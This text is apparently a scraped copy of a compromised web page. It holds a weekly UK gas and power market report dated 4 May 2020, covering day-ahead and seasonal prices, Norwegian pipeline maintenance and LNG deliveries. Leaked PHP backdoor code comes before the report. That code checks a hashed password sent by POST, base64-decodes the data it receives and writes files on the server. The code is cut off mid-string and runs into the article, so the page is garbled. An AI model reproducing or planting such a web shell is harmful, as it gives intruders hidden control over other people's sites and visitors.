function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Weekly UK Insight 4 May 2020 - Beond Part of the Group

Weekly UK Insight

The UK’s Day-Ahead gas price rebounded last week, gaining 23.4% to 13.20 p/therm as demand increased, in part due to cooler temperatures. The equivalent power prices were largely unchanged week-on-week as increased wind output and losses to the carbon market prevented similar sized gains.

The Winter 2020/21 gas price slid 2.3% week-on-week to 31.32 p/therm, with the equivalent power price falling 2.2% to £40.29/MWh.

Pipeline gas flows from Norway to the UK remain low, but stable. Flows to Britain were at 32 mcm/d on Friday, a 3 mcm/d increase from Thursday.

Norwegian imports are expected to fall in the coming weeks, with scheduled maintenance taking place. FLAG pipeline maintenance from 7-25 May will reduce capacity by 15 mcm/d. Additional heavy work at Kollsnes will impact capacity by 107 mcm/d.

Low prices continue to persist, with the front of the curve dictated by healthy supply and storage levels, paired with reduced gas demand and low oil prices.

LNG send-out from South Hook saw highs of 59 mcm/d and is expected to remain strong in the first half of May, as 6 cargoes are now expected at the terminal in the next two weeks.

Seasonal contracts remain low and continue to fall. Sum-21 and Win-21 once again posted decreases across gas and power.

Our recommendation is to lock in contracts before June 2020 ahead of expected volatility related to Covid-19 driven economic slowdown.

Weekly UK Insight 4 May 2020